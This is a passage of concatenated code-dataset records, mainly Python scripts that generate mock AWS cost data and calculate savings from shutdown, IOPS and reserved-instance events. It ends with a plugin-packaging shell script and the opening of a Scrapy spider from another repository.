False\n\n for currentRow in rowList:\n currentRow['Date'] = currentTime.isoformat()\n \n # RI spawn at the exact middle of the testFile\n # Trigger and write RI event\n if i == (iteration_number) / 2:\n currentRow['Operation'] = operation[0]\n currentRow['Cost'] = currentRow['Cost'] * ri_percent_multiplier\n if isRIAlreadyTriggered == False:\n isRIAlreadyTriggered = True\n for CAUType in usedCauSet:\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': CAUType, 'Type': eventType['Ri']}\n event_writer.writerow(eventRow)\n\n # Trigger and write ShutDown event\n if currentTime.hour == hour_offOn[0] and currentRow['Product'] == 'ec2_instance':\n resourceUsed[currentRow['UsageType']] /= instance_divider\n resourceUsed[currentRow['UsageType']] -= 1\n currentRow['Cost'] = usageCost[currentRow['UsageType']] * resourceUsed[currentRow['UsageType']]\n if currentRow['Operation'] == operation[0]: # if RI on reduce the pricing\n currentRow['Cost'] = currentRow['Cost'] * ri_percent_multiplier\n\n if isThisEventAlreadySet[currentRow['CAU']] == False:\n isThisEventAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['shut']}\n event_writer.writerow(eventRow)\n\n # Trigger and write ReStart event\n if currentTime.hour == hour_offOn[1] and currentRow['Product'] == 'ec2_instance':\n resourceUsed[currentRow['UsageType']] = resourceRef[currentRow['UsageType']] # reset initial resource nbr\n currentRow['Cost'] = usageCost[currentRow['UsageType']] * resourceUsed[currentRow['UsageType']]\n\n if currentRow['Operation'] == operation[0]: # if RI on reduce the pricing\n currentRow['Cost'] = currentRow['Cost'] * ri_percent_multiplier\n if currentTime.hour >= hour_Iops[0] and currentTime.hour < hour_Iops[1]:\n currentRow['Cost'] = currentRow['Cost'] * iops_percet_multiplier\n \n if isThisEventAlreadySet[currentRow['CAU']] == False:\n isThisEventAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['start']}\n event_writer.writerow(eventRow)\n\n # Trigger and write iops_down event\n if currentTime.hour == hour_Iops[0]:\n currentRow['Cost'] = currentRow['Cost'] * iops_percet_multiplier\n if isIOPSAlreadySet[currentRow['CAU']] == False:\n isIOPSAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['iopDown']}\n event_writer.writerow(eventRow)\n\n # Trigger and write iops_up event\n if currentTime.hour == hour_Iops[1]:\n currentRow['Cost'] = usageCost[currentRow['UsageType']] * resourceUsed[currentRow['UsageType']]\n if currentRow['Operation'] == operation[0]:\n currentRow['Cost'] = currentRow['Cost'] * ri_percent_multiplier\n if isIOPSAlreadySet[currentRow['CAU']] == False:\n isIOPSAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['iopUP']}\n event_writer.writerow(eventRow)\n\n\n # Some Cost randomization \n #currentRow['Cost'] = currentRow['Cost'] * random.uniform(0.98, 1.02)\n if currentRow['Cost'] != 0:\n writer.writerow(currentRow)\n\n currentTime += timedelta(hours=1)\n i += 1\n\nrandom.seed(None)\n\ncosts_fieldnames = ['Date', 'CAU', 'Account', 'Region', 'Product', 'Operation', 'UsageType', 'Cost']\nevents_fieldnames = ['Date', 'CAU', 'Type']\nstart_writing(costs_fname, costs_fieldnames, events_fname, events_fieldnames)" }, { "alpha_fraction": 0.6331743001937866, "alphanum_fraction": 0.6380391120910645, "avg_line_length": 49.15023422241211, "blob_id": "f6e2b14297fa27d21d911107693176672ece935d", "content_id": "1786f81f246a3d97c3f502393ddcfeeac262f303", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10691, "license_type": "no_license", "max_line_length": 199, "num_lines": 213, "path": "/savingCalculator/DatasAggregate.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "# coding=utf8\nfrom dateutil.parser import *\nfrom datetime import *\n\ndef totimestamp(dt, epoch=datetime(1970,1,1)):\n td = dt - epoch\n return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6 \n\nclass SavingCycle ():\n datas = None\n startDate = None\n endDate = None\n eventType = \"\"\n CAUId = \"\"\n saving = 0\n theoricalCosts = {}\n depth = -1\n _id = 0\n activeCycle = True\n\n def __init__(self, datas, startDate, eventType, CAUId, cycleId, activeCycle, endDate = None):\n self.datas = datas\n self.startDate = startDate\n self.endDate = endDate\n self.eventType = eventType\n self.CAUId = CAUId\n self._id = cycleId\n self.activeCycle = activeCycle\n self.theoricalCosts = {}\n self.saving = 0\n self.depth = -1\n\n def getTheoricalCost(self, tagGroup, date):\n timeShift = (((date - self.startDate).seconds) / 3600) + 1\n theoricalCost = self.datas.getTheoriticalSpend_IfCostSavingActionHadNotBeenConducted(self.CAUId, tagGroup, date, self, self.depth)\n return theoricalCost * (1 ** timeShift)\n\n# Provided raw costs & events, aggregate those datas in differents structures required by the calculator algorithm\n# Turns costs into self.sortedDatesWithCAU + sef.costUnitsByDate\n# Turns events into self.savingCycles + self.savingCyclesByDate\n# Method getTheoriticalSpend_IfCostSavingActionHadNotBeenConducted calculates theorical cost of a given savingCycle + tagGroup + dateTime \n# Theorical cost of a resource (defined by its tagGroup) = Cost of this tagGroup 1h before the given savingCycle beginning\nclass DatasAggregate():\n costs = []\n events = []\n endPeriodDate = datetime.now()\n\n # List of SavingCycles instantiated from input events\n savingCycles = []\n # sorted date with corresponding costs CAU\n sortedDatesWithCAU = []\n # costUnits sorted by date, CAU then tagGroup\n costUnitsByDate = False\n # savingCycles sorted by date then CAU\n savingCyclesByDate = False\n\n # Can be called from calculator with json read from csv OR from unit tests with calculator output\n def __init__(self, costs, events=None):\n self.savingCycles = []\n self.sortedDatesWithCAU = []\n self.costUnitsByDate = False\n self.savingCyclesByDate = False \n self.costs = costs\n for cost in self.costs:\n cost['date'] = parse(cost['date'])\n if totimestamp(cost['date']) > totimestamp(self.endPeriodDate):\n self.endPeriodDate = cost['date']\n self.costs.sort(key= lambda cur : totimestamp(cur['date']))\n\n if events != None:\n self.events = events\n for event in self.events:\n event['id'] = event['type'] + '_' + event['date'] + '_' + event['CAU']\n event['date'] = parse(event['date'])\n self.processEvents()\n\n def setSavingCycles(self, savingCycles):\n self.savingCycles = savingCycles\n self.savingCycles.sort(key= lambda cur : totimestamp(cur.startDate))\n\n # Création des event scopes (start date & endDate liés par un meme type d'event)\n def processEvents(self):\n eventCyclesMapping = { # each cycle type associated with its start / end event name. False end event = one shot cycle\n 'offon': ('reStart', 'Shutdown'),\n 'iops': ('increase_iops', 'decrease_iops'),\n 'destroy_ebs_volume': ('destroy_ebs_volume', False),\n 'reserved_instance': ('RIStart', False)\n }\n curScopes = {}\n for cur in self.events:\n newScope = False\n for cycleType in eventCyclesMapping: # looking for cycle including cur event\n cycleEvents = eventCyclesMapping[cycleType]\n if cur['type'] in cycleEvents: # we've found cycle corresponding to this event\n cycleId = cycleType + '_' + cur['CAU']\n effectiveSavingEvent = cycleEvents[1] == False or cycleEvents[1] == cur['type']\n # can't handle 2 successive same event of the same cycle (except for one shot event)\n if cycleId in curScopes and curScopes[cycleId].activeCycle == effectiveSavingEvent:\n print(\"Events processing error : can't handle 2 successive start or end without corresponding start event\")\n break\n\n start = curScopes[cycleId] if cycleId in curScopes else \\\n SavingCycle(self, cur['date'], cycleType, cur['CAU'], cur['id'], effectiveSavingEvent)\n\n if cycleId in curScopes or cycleEvents[1] == False: # we're on an end or one shot event : prepare new scope\n newScope = start\n newScope.endDate = cur['date'] if cycleEvents[1] != False else self.endPeriodDate\n if cycleId in curScopes:\n del curScopes[cycleId]\n # store new cycle start event (not in one shot case)\n if cycleEvents[1] != False:\n if newScope: # we just ended a cycle : update startDate / endDate\n start = SavingCycle(self, newScope.endDate, newScope.eventType, newScope.CAUId, cur['id'], (not newScope.activeCycle))\n curScopes[cycleId] = start\n break\n if newScope:\n self.savingCycles.append(newScope)\n\n for scopeId in curScopes:\n unfinishedEvent = curScopes[scopeId]\n unfinishedEvent.endDate = self.endPeriodDate\n self.savingCycles.append(unfinishedEvent)\n self.savingCycles.sort(key= lambda cur : totimestamp(cur.startDate))\n\n # sets self.sortedDatesWithCAU AND self.costUnitsByDate\n def mapCostsToSortedDatesWithCAU(self, costDataItems):\n self.costUnitsByDate = {}\n self.sortedDatesWithCAU = []\n datesWithCAU = {}\n listCAU = []\n\n for costItem in costDataItems:\n curDate = costItem['date'].isoformat()\n if costItem['CAU'] not in listCAU:\n listCAU.append(costItem['CAU'])\n if curDate not in datesWithCAU:\n datesWithCAU[curDate] = list(listCAU)\n self.sortedDatesWithCAU.append({'isodate': curDate, 'costItemsCAU': datesWithCAU[curDate]})\n elif costItem['CAU'] not in datesWithCAU[curDate]:\n datesWithCAU[curDate].append(costItem['CAU'])\n\n # Filling tagGroups\n if curDate not in self.costUnitsByDate:\n self.costUnitsByDate[curDate] = {}\n if costItem['CAU'] not in self.costUnitsByDate[curDate]:\n self.costUnitsByDate[curDate][costItem['CAU']] = {}\n self.costUnitsByDate[curDate][costItem['CAU']][costItem['tagGroup']] = costItem\n\n self.sortedDatesWithCAU.sort(key= lambda cur : totimestamp(parse(cur['isodate'])))\n return self.sortedDatesWithCAU\n\n # sets self.savingCyclesByDate\n def mapSortedDatesToSavingCycles(self, sortedDateItems, savingCycles):\n cyclesMap = {}\n for dateItem in sortedDateItems:\n isodate = dateItem['isodate']\n ts = totimestamp(parse(dateItem['isodate']))\n cyclesMap[isodate] = {}\n\n for cycle in savingCycles:\n if ts >= totimestamp(cycle.startDate) and ts < totimestamp(cycle.endDate) and cycle.activeCycle:\n if cycle.CAUId not in cyclesMap[isodate]:\n cyclesMap[isodate][cycle.CAUId] = []\n cyclesMap[isodate][cycle.CAUId].append(cycle)\n\n self.savingCyclesByDate = cyclesMap\n return self.savingCyclesByDate\n\n def getSavingCyclesAt(self, isodate, CAUId):\n if isodate not in self.savingCyclesByDate or CAUId not in self.savingCyclesByDate[isodate]:\n return []\n return self.savingCyclesByDate[isodate][CAUId]\n\n def aggregate(self):\n self.mapCostsToSortedDatesWithCAU(self.costs)\n self.mapSortedDatesToSavingCycles(self.sortedDatesWithCAU, self.savingCycles) \n\n def getTheoriticalSpend_IfCostSavingActionHadNotBeenConducted(self, CAUId, TagGroup, dateTime, savingCycle, i):\n curSavingCycles = self.getSavingCyclesAt(dateTime.isoformat(), CAUId)\n # theorical cost already stored ; simply return it\n if TagGroup in savingCycle.theoricalCosts: \n lastDate = (dateTime - timedelta(hours = 1)).isoformat()\n lastCycles = self.getSavingCyclesAt(lastDate, CAUId)\n # If current cycle's parent ended on last date ; synchronize cur theorical cost with those of ended cycle\n if len(lastCycles) > (i + 1) and lastCycles[(i + 1)] == savingCycle and TagGroup in lastCycles[i].theoricalCosts:\n savingCycle.theoricalCosts[TagGroup] = lastCycles[i].theoricalCosts[TagGroup]\n return savingCycle.theoricalCosts[TagGroup]\n\n i2 = i\n # check for each cycle theorical cost in the stack, starting by current one. Theorical cost = Cost one hour before the cycle start date\n theoricalCostUnit = False\n while (i2 >= 0):\n curCycle = curSavingCycles[i2]\n theoricalDate = curCycle.startDate - timedelta(hours=1)\n theoricalDateSavingCycles = self.getSavingCyclesAt(theoricalDate.isoformat(), CAUId)\n # Check if this date is inside any ended event at dateTime. If so, just call recursively on the event in question\n lastCycle = theoricalDateSavingCycles[-1] if len(theoricalDateSavingCycles) > 0 else False\n if lastCycle is not False and totimestamp(lastCycle.endDate) <= totimestamp(dateTime):\n curCycle.theoricalCosts[TagGroup] = self.getTheoriticalSpend_IfCostSavingActionHadNotBeenConducted(CAUId, TagGroup, lastCycle.startDate, lastCycle, len(theoricalDateSavingCycles) - 1)\n return curCycle.theoricalCosts[TagGroup]\n\n # If asked tagGroup has a cost 1h before cur cycle start date ; get it \n if theoricalDate.isoformat() in self.costUnitsByDate and CAUId in self.costUnitsByDate[theoricalDate.isoformat()] and \\\n TagGroup in self.costUnitsByDate[theoricalDate.isoformat()][CAUId]: \n theoricalCostUnit = self.costUnitsByDate[theoricalDate.isoformat()][CAUId][TagGroup]['cost']\n break\n i2 -= 1\n\n if theoricalCostUnit is False:\n savingCycle.theoricalCosts[TagGroup] = 0\n return savingCycle.theoricalCosts[TagGroup]\n savingCycle.theoricalCosts[TagGroup] = theoricalCostUnit\n return savingCycle.theoricalCosts[TagGroup] " }, { "alpha_fraction": 0.5782195329666138, "alphanum_fraction": 0.5824176073074341, "avg_line_length": 56.43971633911133, "blob_id": "4711c8804c91cf23d91cdb12a8f1f2d7fd58083e", "content_id": "672b58688120bf819b7270119f6ab52973b432af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8106, "license_type": "no_license", "max_line_length": 196, "num_lines": 141, "path": "/savingCalculator/SavingCalculator.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "# coding=utf8\nimport sys\nimport os\nimport copy\nimport json\nfrom savingCalculator.DatasAggregate import DatasAggregate\nfrom dateutil.parser import *\nfrom datetime import *\n\nchecklist = ['2017-08-10T12:00:00']\ncycleschecklist = False#['reserved_instance']\ntagschecklist = False\nclass SavingCalculator():\n # DatasAggregate instance. \n datas = None\n\n def __init__(self, costs, events):\n self.datas = DatasAggregate(costs, events)\n self.datas.aggregate()\n\n def getTheoriticalTagGroups_IfCostSavingActionHadNotBeenConducted(self, CAUId, dateTime, savingCycle):\n tagGroupsList = set()\n theoricalDate = savingCycle.startDate - timedelta(hours=1)\n i = 0\n # In case of missing datas ... Is it rly worth ? \n while theoricalDate.isoformat() not in self.datas.costUnitsByDate:\n if i > 23:\n return tagGroupsList\n theoricalDate -= timedelta(hours=1)\n i += 1\n # retrieve tagGroups at this exact dateTime\n listCAU = self.datas.costUnitsByDate[dateTime.isoformat()]\n if CAUId in listCAU:\n tagGroupsDict = listCAU[CAUId]\n for tagGroup in tagGroupsDict:\n tagGroupsList.add(tagGroup)\n # tagGroups already linked to the savingCycle (but not necessarily there atm)\n for tagGroup in savingCycle.theoricalCosts:\n tagGroupsList.add(tagGroup)\n # look for finished tag groups\n listCAU = self.datas.costUnitsByDate[theoricalDate.isoformat()]\n if CAUId not in listCAU:\n return tagGroupsList\n tagGroupsDict = listCAU[CAUId]\n for tagGroup in tagGroupsDict:\n tagGroupsList.add(tagGroup)\n return tagGroupsList\n\n\n def getSavings(self):\n # sortie de la fonction getSavings : \n result = { \"savings\": [], \"costs\": [], \"savingCycles\": [], \"eventNames\": [], 'dates': [] }\n\n for dateTime in self.datas.sortedDatesWithCAU: # loop over each sorted dates\n isodate = dateTime['isodate']\n result['dates'].append(isodate)\n for CAU in dateTime['costItemsCAU']: # every CAU containing cost items at this datetime\n currentSavingCycles = self.datas.getSavingCyclesAt(isodate, CAU)\n theoricalSavings = {} # theorical savings group by cycleId then tagGroup (theoricalSavings[cycleId][tagGroup] = int)\n tagGroupsByCycle = {} # tagGroups group by cycleId\n savingCycleNb = 0\n\n for savingCycle in currentSavingCycles:\n if savingCycle.depth == -1:\n result['savingCycles'].append(savingCycle)\n savingCycle.depth = savingCycleNb\n if savingCycle.eventType not in result['eventNames']:\n result['eventNames'].append(savingCycle.eventType) # Just for the sake of output process\n theoricalSavings[savingCycle._id] = {}\n # list of tagGroups at this CAU + datetime, whether being OR would have been being effective without savingCycle action\n tagGroupsByCycle[savingCycle._id] = self.getTheoriticalTagGroups_IfCostSavingActionHadNotBeenConducted(CAU, parse(isodate), savingCycle)\n for tagGroup in tagGroupsByCycle[savingCycle._id]:\n # real cost for given CAU + tagGroup juste before savingCycle beginning\n theoricalCost = savingCycle.getTheoricalCost(tagGroup, parse(isodate))\n # if isodate in checklist and (cycleschecklist is False or savingCycle.eventType in cycleschecklist) and \\\n # (tagschecklist is False or tagGroup in tagschecklist):\n # print(\"{} depth {} (effective {}) has theorical cost of {} for {}\".format(savingCycle.eventType, savingCycle.depth, savingCycle.activeCycle, theoricalCost, tagGroup))\n if CAU in self.datas.costUnitsByDate[isodate] and tagGroup in self.datas.costUnitsByDate[isodate][CAU]: # TagGroup toujours présent à l'heure actuelle\n costAndUsageDataItem = self.datas.costUnitsByDate[isodate][CAU][tagGroup]\n costAndUsageDataItem['saving'] = 0\n theoricalSavings[savingCycle._id][tagGroup] = theoricalCost - costAndUsageDataItem['cost']\n else: # TagGroup disparu : son dernier cout = 100% bénéfice\n theoricalSavings[savingCycle._id][tagGroup] = theoricalCost\n\n savingCycleNb += 1\n # every theorical savings calculated ; just subtract them\n i = 0\n nbCycles = len(currentSavingCycles)\n for savingCycle in currentSavingCycles:\n for tagGroup in tagGroupsByCycle[savingCycle._id]:\n saving = theoricalSavings[savingCycle._id][tagGroup]\n if i < (nbCycles - 1) and tagGroup in theoricalSavings[currentSavingCycles[(i + 1)]._id]:\n saving -= theoricalSavings[currentSavingCycles[(i + 1)]._id][tagGroup]\n if CAU in self.datas.costUnitsByDate[isodate]:\n costAndUsageDataItem = self.datas.costUnitsByDate[isodate][CAU][tagGroup] if tagGroup in self.datas.costUnitsByDate[isodate][CAU] else False\n if costAndUsageDataItem:\n costAndUsageDataItem['saving'] += saving\n savingCycle.saving += saving\n # if isodate in checklist and (cycleschecklist is False or savingCycle.eventType in cycleschecklist) and \\\n # (tagschecklist is False or tagGroup in tagschecklist):\n # print(\"#>#>#> SAVING AT \" + isodate + \" FOR \" + tagGroup + \" is :\" + str(saving) + \" / \" + savingCycle.eventType)\n result['savings'].append({\n 'CAU': CAU,\n 'tagGroup': tagGroup,\n 'date': isodate,\n 'type': savingCycle.eventType,\n 'saving': saving,\n 'savingCycleId': savingCycle._id, # On associe l'id du saving cycle au costItem\n 'depth': i\n })\n i += 1\n # FIN boucle sur chaque CAU pour l'heure actuelle. On ajoute au résultat chaque coût traité\n addedTagGroups = {}\n for CAU in self.datas.costUnitsByDate[isodate]:\n for tagGroup in self.datas.costUnitsByDate[isodate][CAU]:\n costAndUsageDataItem = self.datas.costUnitsByDate[isodate][CAU][tagGroup] if tagGroup in self.datas.costUnitsByDate[isodate][CAU] else False\n if costAndUsageDataItem and (tagGroup + isodate) not in addedTagGroups:\n result['costs'].append({\n 'CAU': costAndUsageDataItem['CAU'],\n 'tagGroup': costAndUsageDataItem['tagGroup'],\n 'date': isodate,\n 'cost': costAndUsageDataItem['cost'],\n 'matchingEventTypes': False if not currentSavingCycles else True,\n 'saving': costAndUsageDataItem['saving'] if 'saving' in costAndUsageDataItem else 0\n })\n addedTagGroups[(tagGroup + isodate)] = True\n\n result['savingCycles'] = list(map(lambda scope: ({\n 'startDate': scope.startDate.isoformat(),\n 'endDate': scope.endDate.isoformat(),\n 'type': scope.eventType,\n 'CAU': scope.CAUId,\n 'saving': scope.saving,\n 'id': scope._id\n }), result['savingCycles']))\n return result\n\n def storeToFile(self, data, path):\n with open(path, 'w') as fileToWrite:\n fileToWrite.write('datas = ' + json.dumps(data))\n fileToWrite.close()\n" }, { "alpha_fraction": 0.5528373718261719, "alphanum_fraction": 0.5678764581680298, "avg_line_length": 41.632476806640625, "blob_id": "8b19ebf4df414c72e10e5c7193c265551a8ec6e6", "content_id": "ffcdd94227a71f6bc2c68c4dcce7d2bb16d56608", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4987, "license_type": "no_license", "max_line_length": 159, "num_lines": 117, "path": "/dataMocks/generator_test_three.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n# vim: set fileencoding=utf-8 :\n\nimport csv\nimport copy\nfrom datetime import timedelta\nfrom dateutil.parser import *\nfrom os import system\nimport random\n\nfname = \"teevity_savings.csv\"\nefname = \"teevity_events.csv\"\n\nCAUs = ['PROD/ProjectA/Frontend', 'PROD/ProjectA/Backend', 'PROD/ProjectB/Frontend', 'PROD/ProjectB/Backend', \\\n 'DEV/ProjectA/Frontend', 'DEV/ProjectA/Backend', 'DEV/ProjectB/Frontend', 'DEV/ProjectB/Backend']\n\niteration_number = 96\naccount = '492743284828'\nstartDate = '2017-08-10-12:00'\nregion = 'eu-west-1'\nusageCost = {'m4.2xlarge' : 8.0, 'bytes-out': 0.3, 'r3.8xlarge': 80.0, 't2.micro' : 0.1}\noperation = ['Reserved', 'OnDemand']\neventType = {'Ri': 'RIStart', 'start': 'reStart', 'shut' : 'Shutdown'}\n\n#random.randrange(start, stop, step)\ndef get_object_list():\n rowList = []\n usedCAUList = []\n for x in usageCost:\n newRow = {'Account':account, 'Region':region}\n newRow['UsageType'] = x\n newRow['Cost'] = usageCost[x]\n if x == 'bytes-out':\n newRow['Operation'] = 'datatransfert'\n newRow['Product'] = 'ec2'\n else:\n newRow['Operation'] = operation[1]\n newRow['Product'] = 'ec2_instance'\n newRow['CAU'] = CAUs[random.randrange(0, 8, 1)]\n usedCAUList.append(newRow['CAU'])\n# if x == 'm4.2xlarge':\n# rowList.append(copy.deepcopy(newRow))\n# rowList.append(copy.deepcopy(newRow))\n rowList.append(newRow)\n CAUListSet = set(usedCAUList)\n return rowList, CAUListSet\n\ndef start_writing(filename, fieldnames, event_filename, event_fieldnames):\n with open(filename, 'a+') as wfile:\n event_file = open(event_filename, 'a+')\n event_writer = csv.DictWriter(event_file, event_fieldnames)\n writer = csv.DictWriter(wfile, fieldnames)\n rowList, usedCauSet = get_object_list()\n currentTime = parse(startDate)\n\n i = 0\n while i < iteration_number:\n isThisEventAlreadySet = {e:False for e in usedCauSet}\n isRIAlreadyTriggered = False\n\n for currentRow in rowList:\n currentRow['Date'] = currentTime.isoformat()\n\n # Trigger and write RI event\n if i == (iteration_number) / 2:\n currentRow['Operation'] = operation[0]\n currentRow['Cost'] = currentRow['Cost'] * 0.5\n if isRIAlreadyTriggered == False:\n isRIAlreadyTriggered = True\n for CAUType in usedCauSet:\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': CAUType, 'Type': eventType['Ri']}\n event_writer.writerow(eventRow)\n\n # Trigger and write ShutDown event\n if currentTime.hour == 19:\n currentRow['Cost'] = currentRow['Cost'] * 0.70\n if isThisEventAlreadySet[currentRow['CAU']] == False:\n isThisEventAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['shut']}\n event_writer.writerow(eventRow)\n\n # Trigger and write ReStart event\n if currentTime.hour == 8:\n print(\"i => \" + str(i))\n currentRow['Cost'] = usageCost[currentRow['UsageType']]\n print(\"Before : Identity => {} Cost => {} && Operation => {}\".format(currentRow['UsageType'], currentRow['Cost'], currentRow['Operation']))\n if currentRow['Operation'] == operation[0]:\n currentRow['Cost'] = currentRow['Cost'] * 0.5\n print(\"After : Identity => {} Cost => {} && Operation => {}\".format(currentRow['UsageType'], currentRow['Cost'], currentRow['Operation']))\n if isThisEventAlreadySet[currentRow['CAU']] == False:\n isThisEventAlreadySet[currentRow['CAU']] = True\n eventRow = {'Date' : currentTime.isoformat(), 'CAU': currentRow['CAU'], 'Type': eventType['start']}\n event_writer.writerow(eventRow)\n\n # Some Cost randomization \n #currentRow['Cost'] = currentRow['Cost'] * random.uniform(0.9, 1.1)\n writer.writerow(currentRow)\n\n currentTime += timedelta(hours=1)\n i += 1\n\nrandom.seed(None)\n\nret = system(\"cp ./save.csv ./teevity_savings.csv\")\nret2 = system(\"cp ./save_events.csv ./teevity_events.csv\")\nfile = open(fname, \"rb\")\nev_file = open(efname, \"rb\")\nif ret == 0 and ret2 == 0:\n try:\n reader = csv.DictReader(file)\n event_reader = csv.DictReader(ev_file)\n fieldnames = reader.fieldnames\n event_fieldnames = event_reader.fieldnames\n finally:\n file.close()\n ev_file.close()\n start_writing(fname, fieldnames, efname, event_fieldnames)" }, { "alpha_fraction": 0.6530089378356934, "alphanum_fraction": 0.6542893648147583, "avg_line_length": 26.910715103149414, "blob_id": "aad66dc36e6514cd7541acdbdee7a34f2e10f688", "content_id": "38dd8fd5ed9b937b6f21db7b166d60fc34760e81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1562, "license_type": "no_license", "max_line_length": 128, "num_lines": 56, "path": "/savingCalculator/TeevityAPI.py", "repo_name": "Sifiros/pocCloudCost", "src_encoding": "UTF-8", "text": "import csv\n\nclass TeevityAPI:\n\teventsFilepath = ''\n\tcostsFilepath = ''\n\n\tdef __init__(self, costsFilepath = './api/savings.csv', eventsFilepath = './api/events.csv'):\n\t\tself.eventsFilepath = eventsFilepath\n\t\tself.costsFilepath = costsFilepath\n\n\tdef GetCostDatas(self):\n\t\trows = self.queryCsv(['Date', 'CAU', 'Account', 'Region', 'Product', 'Operation', 'UsageType', 'Cost'], self.costsFilepath)\n\t\trows = list(map(self.mapTeevityCost, rows))\n\t\treturn rows\n\n\tdef mapTeevityCost(self, cost):\n\t\treturn {\n\t\t\t'date': cost['Date'],#parse(cost['Date']).isoformat(),\n\t\t\t'cost': float(cost['Cost']),\n\t\t\t'CAU': cost['CAU'],\n\t\t\t'tagGroup': cost['Account'] + cost['Region'] + cost['Product'] + cost['Operation'] + cost['UsageType']\n\t\t}\n\n\tdef GetEvents(self):\n\t\trows = self.queryCsv(['Date', 'CAU', 'Type'], self.eventsFilepath)\n\t\trows = list(map(self.mapTeevityEvent, rows))\n\t\treturn rows\n\n\tdef mapTeevityEvent(self, event):\n\t\t# productNameMapping = {\n\t\t# \t'Amazon Elastic Compute Cloud': 'ec2'\n\t\t# }\n\t\t# resourceType = productNameMapping[cost['ProductName']] if cost['ProductName'] in productNameMapping else cost['ProductName']\n\t\treturn {\n\t\t\t'date': event['Date'],#parse(event['Date']).isoformat(),\n\t\t\t'CAU': event['CAU'],\n\t\t\t'type': event['Type'],\n\t\t}\n\n\tdef queryCsv(self, columns, file):\n\t\trows = []\n\t\ttry:\n\t\t\tfile = open(file, 'r')\n\t\t\treader = csv.DictReader(file)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\texit(1)\n\n\t\tfor row in reader:\n\t\t\tcurDict = {}\n\t\t\tfor column in columns:\n\t\t\t\tcurDict[column] = row[column]\n\t\t\trows.append(dict(curDict))\n\n\t\tfile.close()\n\t\treturn rows" } ]
12
devYoungyang/Python-Study
https://github.com/devYoungyang/Python-Study
f0302a63a289037e3298bb49fab7c42b0728d858
aec392419211d3b972595d9e21f9dd1eee86131f
c60ea6202bed83a81d2bf89234afb32df163cee3
refs/heads/master
2022-11-18T00:30:21.021039
2020-07-24T02:28:29
2020-07-24T02:28:29
282,102,501
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.609968364238739, "alphanum_fraction": 0.636867105960846, "avg_line_length": 15.826666831970215, "blob_id": "0565edb474c04bd519f26ee23cdd1e2ba4d2c863", "content_id": "44f69d8e2f68a8c0dd8f7e5d8d68fd7fba4b4f06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1358, "license_type": "no_license", "max_line_length": 69, "num_lines": 75, "path": "/Python/shell.sh", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "### \n# @Author: Yang\n # @Date: 2019-10-12 16:42:12\n # @LastEditors: Yang\n # @LastEditTime: 2019-11-18 15:14:29\n # @FilePath: /Python/shell.sh\n # @Description: \n ###\n\n#!/bin/bash\necho \"自动化打包执行ing~\"\necho\n\n# echo \"${1} ${2}\"\ncd /Users/$USER/Desktop\nfile=\"miot-plugin-sdk\"\naa=\"com.philips.light.dimmablew\"\nbb=\"philips.light.zystrip\"\ncn=\"com.\"\nPS3=\"您选择的是:\"\nif [ -e $file ]\nthen\n# echo \"文件存在\"\ncd miot-plugin-sdk\ncd projects\n# ls\n# read -p \"请输入设备model: \" mode #提示用户输入mode\nmode=${1}\nif [ -e $mode ]\nthen \necho \"model已存在\"\n\nelse\n# echo \"选择设备类型?\"\n# select type in bright brightCCT brightCCTColor;\n# do\n# break \n# done\ntype=${2}\ngit clone https://gitee.com/DevYoung/Milight.git $cn$mode 2>> log.txt\ncd $cn$mode\ncd src\ncd Common\ncase $type in\n bright)\n echo \"You have selected bright\"\n \n;;\n brightCCT)\n \necho \"You have selected brightCCT\"\n # sed -i \"s/type = false/type = true/g\" CommonJS.js\n sed -i \"\" \"s/type = false/type = true/g\" CommonJS.js\n;;\n brightCCTColor)\n \necho \"You have selected brightCCTColor\"\n;;\nesac\n\n# cd $cn$mode\ncd ../../\n sed -i \"\" \"s/${aa}/${cn}${mode}/g\" project.json\n\n cd ../../ \n npm run publish $cn$mode >> log.txt\n echo \"打包完成...\"\n\n\nfi\n\nelse\necho \"文件不存在\"\ngit clone https://github.com/MiEcosystem/miot-plugin-sdk.git\nfi\n\n\n" }, { "alpha_fraction": 0.5102233290672302, "alphanum_fraction": 0.5335010886192322, "avg_line_length": 35.54022979736328, "blob_id": "897f19639742a20c78731efa37df2afb2c5f8eb1", "content_id": "659931c84d1b4a76e7489c4b80bad9738fe9c3fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3179, "license_type": "no_license", "max_line_length": 145, "num_lines": 87, "path": "/scrapyDemo/totorial/totorial/spiders/dmoz_spider.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-11-04 13:24:46\n@LastEditors: Yang\n@LastEditTime: 2019-11-11 15:54:27\n@FilePath: /scrapyDemo/totorial/totorial/spiders/dmoz_spider.py\n@Description:\n'''\nfrom totorial.items import DmozItem\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.selector import Selector\nimport scrapy\nfrom bs4 import BeautifulSoup\nimport re\n\"\"\"\n\n\nclass 